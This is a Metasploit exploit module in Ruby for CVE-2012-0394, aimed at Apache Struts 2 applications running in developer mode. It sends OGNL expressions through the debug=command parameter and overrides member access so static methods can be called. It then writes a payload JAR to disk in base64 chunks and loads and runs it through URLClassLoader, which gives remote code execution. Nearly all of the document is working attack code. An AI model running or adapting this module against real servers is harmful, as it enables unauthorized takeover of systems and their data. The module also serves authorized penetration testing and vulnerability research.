Apache Struts Developer Mode OGNL Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts Developer Mode OGNL Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in Apache  
Struts 2. The problem exists on applications running in developer mode,  
where the DebuggingInterceptor allows evaluation and execution of OGNL  
expressions, which allows remote attackers to execute arbitrary Java  
code. This module has been tested successfully in Struts 2.3.16, Tomcat  
7 and Ubuntu 10.04.  
},  
'Author' =>  
[  
'Johannes Dahse', # Vulnerability discovery and PoC  
'Andreas Nusser', # Vulnerability discovery and PoC  
'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-0394'],  
[ 'OSVDB', '78276'],  
[ 'EDB', '18329'],  
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],  
[ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Struts 2', { } ]  
],  
'DisclosureDate' => 'Jan 06 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])  
], self.class)  
end  
  
def check  
vprint_status("Testing to see if the target can evaluate our Java code...")  
addend_one = rand_text_numeric(rand(3) + 1).to_i  
addend_two = rand_text_numeric(rand(3) + 1).to_i  
sum = addend_one + addend_two  
  
res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")  
  
if res and res.code == 200 and res.body.to_i == sum  
return Exploit::CheckCode::Vulnerable  
end  
  
if res and res.code == 200 and res.body.to_s =~ /#{sum}/  
vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")  
vprint_line(res.body.to_s)  
return Exploit::CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def exploit  
@payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"  
  
upload_jar  
execute_jar  
end  
  
def upload_jar  
append = 'false'  
jar = payload.encoded_jar.pack  
chunk_length = 384 # 512 bytes when base64 encoded  
  
while(jar.length > chunk_length)  
java_upload_part(jar[0, chunk_length], @payload_jar, append)  
jar = jar[chunk_length, jar.length - chunk_length]  
append='true'  
end  
java_upload_part(jar, @payload_jar, append)  
end  
  
def java_upload_part(part, filename, append = 'false')  
cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"  
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"  
cmd << "#f.close()"  
execute_command(cmd)  
end  
  
def execute_jar  
cmd = ""  
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1  
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"  
cmd << "#q.setAccessible(true),#q.set(null,true),"  
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"  
cmd << "#q.setAccessible(true),#q.set(null,false),"  
# create classloader  
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"  
# load class  
cmd << "#c=#cl.loadClass('metasploit.Payload'),"  
# invoke main method  
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("  
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"  
execute_command(cmd)  
end  
  
def execute_command(cmd)  
injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"  
injection.gsub!(/CMD/, cmd)  
  
vprint_status("Attempting to execute: #{cmd}")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'GET',  
'vars_get' =>  
{  
'debug' => 'command',  
'expression' => injection  
}  
})  
  
return res  
end  
  
  
end  
`